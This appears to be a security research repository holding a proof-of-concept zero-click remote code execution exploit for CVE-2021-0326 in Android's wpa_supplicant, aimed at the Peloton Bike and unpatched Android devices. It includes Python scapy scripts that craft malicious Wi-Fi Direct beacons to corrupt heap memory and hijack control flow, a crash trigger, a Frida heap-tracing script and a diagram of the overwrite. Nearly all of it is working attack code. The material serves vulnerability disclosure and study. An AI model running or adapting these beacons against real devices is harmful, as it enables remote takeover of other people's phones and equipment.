├── README.md ├── p2pcrash.py ├── helper.js ├── skeleton.py ├── skeleton32.py └── eloop.svg /README.md: -------------------------------------------------------------------------------- 1 | # Skeleton (but pronounced like Peloton) 2 | 3 | A Zero-Click RCE exploit for CVE-2021-0326 on the Peloton Bike 4 | 5 | And also every other unpatched Android Device 6 | 7 | PoC requires ASLR to be disabled. 8 | 9 | Associated blog post: https://www.nowsecure.com/blog/2022/02/09/a-zero-click-rce-exploit-for-the-peloton-bike-and-also-every-other-unpatched-android-device/ 10 | 11 | ![diagram of exploit](eloop.svg) 12 | -------------------------------------------------------------------------------- /p2pcrash.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | 3 | iface = 'wlp4s0mon' # interface in monitor mode 4 | target = 'ac:04:0b:e9:30:69' # target MAC address 5 | mac = RandMAC() # (fake) mac address of source 6 | 7 | dot11 = Dot11FCS(addr1=target, addr2=mac) 8 | beacon = Dot11Beacon(cap='ESS+privacy') 9 | essid = Dot11Elt(ID='SSID', info='DIRECT-XX') # DIRECT- SSID for WFD 10 | rates = Dot11Elt(ID='Rates', info=b"\x48") # rate of monitor mode iface 11 | rsn = Dot11Elt(ID='RSNinfo', info=( 12 | b"\x01\x00" # RSN Version 1 13 | b"\x00\x0f\xac\x02" # Group Cipher Suite : 00-0f-ac TKIP 14 | b"\x02\x00" # 2 Pairwise Cipher Suites (next two lines) 15 | b"\x00\x0f\xac\x04" # AES Cipher 16 | b"\x00\x0f\xac\x02" # TKIP Cipher 17 | b"\x01\x00" # 1 Authentication Key Managment Suite (line below) 18 | b"\x00\x0f\xac\x02" # Pre-Shared Key 19 | b"\x00\x00")) # RSN Capabilities (no extra capabilities) 20 | 21 | sec_devs = 0x13 # number of secondary devices 22 | group = ( 23 | b"AAAAAA" + # p2p client device id 24 | b"BBBBBB" + # p2p client interface id 25 | b"\xff" + b"\x01\x88" + # capabilities, config methods 26 | b"EEEEEEEE" + # primary dev type 27 | struct.pack(" y.equals(x) || y.sub(0x20).equals(x))).length != 0; 8 | } 9 | 10 | const wpasup = Process.getModuleByName("wpa_supplicant"); 11 | console.log(`wpa_supplicant base address: ${wpasup.base}`); 12 | 13 | const chunks = {}; 14 | var eloop = false; 15 | 16 | //0x00198a6c // Pixel 3a Android 9 offset 17 | const eloop_register_timeout = wpasup.base.add(ptr(0x0001e278)); // may need to change offset 18 | Interceptor.attach(eloop_register_timeout, { 19 | onEnter: (args) => { 20 | console.log(`eloop_register_timeout(${args[0]}, ${args[1]}, ${args[2]}, ${args[3]}, ${args[4]})`); 21 | eloop = true; // always view the next alloc, it is an eloop_timeout address 22 | } 23 | }); 24 | 25 | // alloc functions 26 | const allocs = { 27 | "calloc": 1, 28 | "malloc": 0, 29 | "realloc": 0 30 | } 31 | 32 | for (const alloc in allocs) { 33 | Interceptor.attach(Module.getExportByName(null, alloc), { 34 | onEnter: (args) => { 35 | if (allocs[alloc]) 36 | this.num = args[0].toInt32(); 37 | else 38 | this.num = 1; 39 | 40 | this.size = args[allocs[alloc]]; 41 | }, 42 | onLeave: (ret) => { 43 | const size = this.size.toInt32()*this.num; 44 | if (eloop || is_target(ret)) { 45 | console.log(`${alloc}(${size}) => ${ret}`); 46 | eloop = false; 47 | } 48 | if (is_target(ret)) { 49 | chunks[ret] = size; 50 | } 51 | } 52 | }); 53 | } 54 | 55 | Interceptor.attach(Module.getExportByName(null, "free"), { 56 | onEnter: (args) => { 57 | if (is_target(args[0])) { 58 | console.log(`free(${args[0]})`); 59 | } 60 | if (chunks[args[0]] !== undefined) { 61 | console.log(hexdump(args[0], { 62 | offset: 0, 63 | length: chunks[args[0]], 64 | header: true, 65 | ansi: true 66 | })); 67 | } 68 | } 69 | }); -------------------------------------------------------------------------------- /skeleton.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | import argparse 3 | 4 | desc = """ 5 | Skeleton (but pronounced like Peloton): 6 | A 0-click RCE exploit for CVE-2021-0326 7 | 8 | Austin Emmitt of Nowsecure (@alkalinesec) 9 | """ 10 | 11 | parser = argparse.ArgumentParser(description=desc, 12 | formatter_class=argparse.RawTextHelpFormatter) 13 | 14 | parser.add_argument('-i', dest='interface', required=True, 15 | help='network interface in monitor mode') 16 | parser.add_argument('-t', dest='target', required=True, 17 | help='target MAC address') 18 | args = parser.parse_args() 19 | 20 | iface = args.interface # interface in monitor mode 21 | target = args.target # target MAC address 22 | 23 | base = 0x5555555000 # base address of main module 24 | eloop = 0x7fb743d1c0 # eloop_timeout address 25 | p2 = 0x7fb742e500 # second part of payload 26 | 27 | eloop_next = base + 0x1a76b0 # eloop next (&list terminates) 28 | wpa_printf = base + 0x1a938 # addr of wpa_printf 29 | 30 | msg = b"hi :)" # log on success (< 8 bytes) 31 | frees = [eloop-0x20] # list of addrs to free (up to 10) 32 | sec_devs = 0x12+len(frees) # number of secondary device types 33 | 34 | p64 = lambda x: struct.pack("H", len(ext_data1)) + # length of 1st payload 58 | ext_data1)) # 1st payload data 59 | 60 | ext_data2 = ( 61 | p64(eloop_next) + # next: address of terminator 62 | p64(eloop) + # previous: address of ext_data1 63 | p64(0) + p64(0) + # times set to 0 so it runs right away 64 | p64(5) + p64(p2+0x38) + # error level, address of msg 65 | p64(wpa_printf) + # addr of wpa_printf to jump to 66 | msg + b"\x00"*(8-len(msg))) # message and null padding 67 | 68 | vendor2 = Dot11EltVendorSpecific(oui=0x0050f2, info=( 69 | b"\x04\x10\x49" + # vendor extension id 70 | struct.pack(">H", len(ext_data2)) + # length of 2nd payload 71 | ext_data2)) # 2nd payload data 72 | 73 | mac = RandMAC() # (fake) mac address of source 74 | dot11 = Dot11FCS(addr1=target, addr2=mac, addr3=mac) 75 | beacon = Dot11Beacon(cap='ESS+privacy') 76 | essid = Dot11Elt(ID='SSID', info='DIRECT-XX') 77 | rates = Dot11Elt(ID='Rates', info=b"\x48") 78 | rsn = Dot11Elt(ID='RSNinfo', info=( 79 | b"\x01\x00" # RSN Version 1 80 | b"\x00\x0f\xac\x02" # Group Cipher Suite : 00-0f-ac TKIP 81 | b"\x02\x00" # 2 Pairwise Cipher Suites 82 | b"\x00\x0f\xac\x04" # AES Cipher 83 | b"\x00\x0f\xac\x02" # TKIP Cipher 84 | b"\x01\x00" # 1 Authentication Key Managment Suite 85 | b"\x00\x0f\xac\x02" # Pre-Shared Key 86 | b"\x00\x00")) # RSN Capabilities 87 | 88 | # assemble packet 89 | packet = RadioTap()/dot11/beacon/essid/rates/rsn/p2p 90 | 91 | # add fake eloop_timeout elements 92 | for vendor in (vendor1, vendor2): 93 | for i in range(5): 94 | packet = packet / vendor 95 | 96 | return packet 97 | 98 | mac1 = b"AAAAAA" # first dev MAC 99 | mac2 = b"BBBBBB" # first client MAC 100 | 101 | # two packets with swapped addresses 102 | # to free at least ones vendor_ext 103 | packet1 = build_beacon(mac1, mac2) 104 | packet2 = build_beacon(mac2, mac1) 105 | 106 | print("sending exploit to %s" % target) 107 | sendp([packet1, packet2], iface=iface, inter=0.100, loop=1) 108 | -------------------------------------------------------------------------------- /skeleton32.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | import argparse 3 | 4 | desc = """ 5 | Skeleton32 (but pronounced like Peloton32): 6 | A 0-click RCE exploit for 32 bit CVE-2021-0326 7 | 8 | Austin Emmitt of Nowsecure (@alkalinesec) 9 | """ 10 | 11 | parser = argparse.ArgumentParser(description=desc, 12 | formatter_class=argparse.RawTextHelpFormatter) 13 | 14 | parser.add_argument('-i', dest='interface', required=True, 15 | help='network interface in monitor mode') 16 | parser.add_argument('-t', dest='target', required=True, 17 | help='target MAC address') 18 | args = parser.parse_args() 19 | 20 | iface = args.interface # interface in monitor mode 21 | target = args.target # target MAC address 22 | 23 | base = 0x2a000000 # base address of main module 24 | eloop = 0xb6919420 # eloop_timeout address 25 | p2 = 0xb69202e0 # second part of payload 26 | 27 | eloop_next = base + 0x12b670 # eloop next (&list terminates) 28 | wpa_printf = base + 0xf391 # addr of wpa_printf 29 | 30 | msg = b"hi!" # log on success (< 4 bytes) 31 | frees = [eloop-0x10] # list of addrs to free (up to 10) 32 | sec_devs = 0x11+len(frees) # number of secondary device types 33 | 34 | p32 = lambda x: struct.pack("H", len(ext_data1)) + # length of 1st payload 58 | ext_data1)) # 1st payload data 59 | 60 | ext_data2 = ( 61 | p32(eloop_next) + # next: address of terminator 62 | p32(eloop) + # previous: address of ext_data1 63 | p32(0) + p32(0) + # times set to 0 so it runs right away 64 | p32(5) + p32(p2+0x1c) + # error level, address of msg 65 | p32(wpa_printf) + # addr of wpa_printf to jump to 66 | msg + b"\x00"*(4-len(msg))) # message and null padding 67 | 68 | vendor2 = Dot11EltVendorSpecific(oui=0x0050f2, info=( 69 | b"\x04\x10\x49" + # vendor extension id 70 | struct.pack(">H", len(ext_data2)) + # length of 2nd payload 71 | ext_data2)) # 2nd payload data 72 | 73 | mac = RandMAC() # (fake) mac address of source 74 | dot11 = Dot11FCS(addr1=target, addr2=mac, addr3=mac) 75 | beacon = Dot11Beacon(cap='ESS+privacy') 76 | essid = Dot11Elt(ID='SSID', info='DIRECT-XX') 77 | rates = Dot11Elt(ID='Rates', info=b"\x48") 78 | rsn = Dot11Elt(ID='RSNinfo', info=( 79 | b"\x01\x00" # RSN Version 1 80 | b"\x00\x0f\xac\x02" # Group Cipher Suite : 00-0f-ac TKIP 81 | b"\x02\x00" # 2 Pairwise Cipher Suites 82 | b"\x00\x0f\xac\x04" # AES Cipher 83 | b"\x00\x0f\xac\x02" # TKIP Cipher 84 | b"\x01\x00" # 1 Authentication Key Managment Suite 85 | b"\x00\x0f\xac\x02" # Pre-Shared Key 86 | b"\x00\x00")) # RSN Capabilities 87 | 88 | # assemble packet 89 | packet = RadioTap()/dot11/beacon/essid/rates/rsn/p2p 90 | 91 | # add fake eloop_timeout elements 92 | for vendor in (vendor1, vendor2): 93 | for i in range(5): 94 | packet = packet / vendor 95 | 96 | return packet 97 | 98 | mac1 = b"AAAAAA" # first dev MAC 99 | mac2 = b"BBBBBB" # first client MAC 100 | 101 | # two packets with swapped addresses 102 | # to free at least ones vendor_ext 103 | packet1 = build_beacon(mac1, mac2) 104 | packet2 = build_beacon(mac2, mac1) 105 | 106 | print("sending exploit to %s" % target) 107 | sendp([packet1, packet2], iface=iface, inter=0.100, loop=1) 108 | -------------------------------------------------------------------------------- /eloop.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |
size
size
used
used
buf
buf
flags
flags
*buf ...
*buf ...
padding
padding
padding
padding
padding
padding
wpabuf wps_vendor_ext 
wpabuf wps_vendor_ext 

list.next

list.next
list.prev
list.prev
time ...
time ...
0x7fb743d1c0
0x7fb743d1c0
0x7fb743d1a0
0x7fb743d1a0
eloop_timeout ...
eloop_timeout ...
0x7fb742e500
0x7fb742e500
0x55556fc6b0
0x55556fc6b0
0xffffffff
0xffffffff
hopefully nothing important in here ...
hopefully nothing important in here ...

next = 0x55556fc6b0

next = 0x55556fc6b0

prev = 0x55556fc6b0

prev = 0x55556fc6b0

next = 0x7fb743d1c0

next = 0x7fb743d1c0

prev = 0x7fb743d1c0

prev = 0x7fb743d1c0

next = 0x7fb742e500

next = 0x7fb742e500

prev = 0x55556fc6b0

prev = 0x55556fc6b0

next = 0x7fb743d1c0

next = 0x7fb743d1c0

prev = 0x7fb743d1c0

prev = 0x7fb743d1c0

next = 0x55556fc6b0

next = 0x55556fc6b0

prev = 0x7fb743d1c0

prev = 0x7fb743d1c0
after overwrite
after overw...

eloop_timeout ...

eloop_timeout ...

eloop ...

eloop ...

0x00000005

0x00000005

 0x7fb742e538

 0x7fb742e538

0x555556f938

0x555556f938
0x55556fc6b0
0x55556fc6b0
0x7fb742e500
0x7fb742e500

"hi :)"

"hi :)"
0x7fb742e538
0x7fb742e538
0x7fb743d1c0
0x7fb743d1c0
0x55556fc6b0
0x55556fc6b0
0x7fb743d1c0
0x7fb743d1c0

0x00000000

0x00000000
fake eloop_timeout
fake eloop_timeout
wpa_printf call data
wpa_printf call data
overwrite
overwrite
Text is not SVG - cannot display
--------------------------------------------------------------------------------